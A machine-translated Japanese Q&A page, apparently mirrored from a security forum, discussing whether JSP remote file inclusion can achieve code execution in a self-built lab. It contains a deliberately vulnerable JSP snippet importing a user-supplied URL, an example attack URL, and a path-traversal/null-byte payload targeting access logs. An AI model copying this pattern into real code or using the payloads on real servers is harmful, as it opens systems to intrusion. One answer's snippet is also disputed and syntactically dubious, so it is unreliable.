web-dev-qa-db-ja.com

JSP RFIによるコード実行?

特に、JSPアプリで、RFI(リモートファイルインクルージョン)の理解を深めることに取り組んでいます。

実際のRFIの動作を複製するために別のサーバーからJSPページをインポートする脆弱なアプリケーションを作成しました。

これはインポートコードです:

  <c:import url ="http://localhost:8082/rfi.jsp"/>

Rfi.jspコードは表示されるだけで、実行されません。 JSP RFIを使用してコード実行を実現することは可能ですか?

ありがとう。

2
isoman

私が分析できる限り、JSPを使用すると、攻撃対象サーバーではなく攻撃サーバーでのみJSPを実行できます。 (誰かが同意できない場合は、コードの例について非常に満足しています)。

したがって、あなたの場合、localhost:8082は攻撃者サーバーである必要があります。コードを実行するには、攻撃者のサーバーもWebコンテナーである必要があります。 rfi.jspが提供されるTomcat。それ以外の場合、サーバーは、実行されたJSPではなく、JSPコードのテキスト文字列のみを配信します。

さらに

<c:import url ="http://localhost:8082/rfi.jsp"/>

悪意のある開発者がコードの作成中に意図的にファイルをインクルードしたい場合を除いて、実際にはリモートファイルインクルージョンの脆弱性ではありません。通常、ファイルインクルードの脆弱性は、なんらかの入力の可能性から、主にクエリパラメータを使用することによって引き起こされます。したがって、脆弱性をトリガーするために、ブラウザーのURLバーで次のようになる可能性があります。

http://myvictimserver/myvulnwebapp/myvulnrfijspfile.jsp?myvulnqueryparameter=http://localhost:8082/rfi.jsp

ここでrfi.jspには、攻撃者として被害者に見せたいコードが含まれています。

被害者のサーバーコードは<c:import>ではなく<jsp:includeを使用する必要があります。<c:import>は外部URLを許可しますが、<jsp:include>はこれを許可せず、内部でのみ機能するためローカルファイルインクルードを開くことができます問題。

被害者側の問題のあるコードスニペットは次のとおりです。

myvulnrfijspfile.jsp

<%@ taglib uri = "http://Java.Sun.com/jsp/jstl/core" prefix = "c" %>
<c:import url="<%= request.getParameter(\"myvulnqueryparameter\")%>" />

tomcatフォルダー構造は次のようになります。

Tomcat/webapps/myvulnwebappフォルダ:

.
./myvulnrfijspfile.jsp
./WEB-INF
./WEB-INF/classes
./WEB-INF/lib
./WEB-INF/lib/jstl-1.2.jar

OscarAkaElvisの答えは抽出したコード

<%
   String p = request.getParameter("p");
   @include file="<%="includes/" + p +".jsp"%>"
%>

はRFIの脆弱なコードではありません。これはLFIであり、<%@include>は静的なインクルードを対象としているため、おそらく実行時にではなくコンパイル時に追加されるため、困難です(cf https://www.javatips。 net/blog/difference-between-static-include-and-dynamic-include )。

追伸docker 私のgithubリポジトリ を使用して、さまざまなプログラミング言語用のサンプルネットワークをいくつか作成しました。上記の犠牲者コードと攻撃コードは、JSP 2.3を備えたApache Tomcat/9.0.21でそれぞれ実行されます。

0
secf00tprint

この古い質問を見つけたので、とにかく答えようと思います。

答えはイエスですが、あなたが置いたコードではそうではありません。 RFI(リモートファイルインクルード)には、PHP、JSP、および一般的ではないHTML SSI(サーバー側インクルード)が含まれていません。その定義については RFI定義 をご覧ください。

私が投稿したリンクから抽出されたこのコードは、JSP RFIに対して脆弱です。

<%
   String p = request.getParameter("p");
   @include file="<%="includes/" + p +".jsp"%>"
%>

/vulnerable.jsp?p=../../../../var/log/access.log%00-PHPとは異なり、JSPは引き続きヌルバイトインジェクションの影響を受けます。このパラメーターは、WebサーバーのアクセスログにあるJSPコマンドを実行します。

1
OscarAkaElvis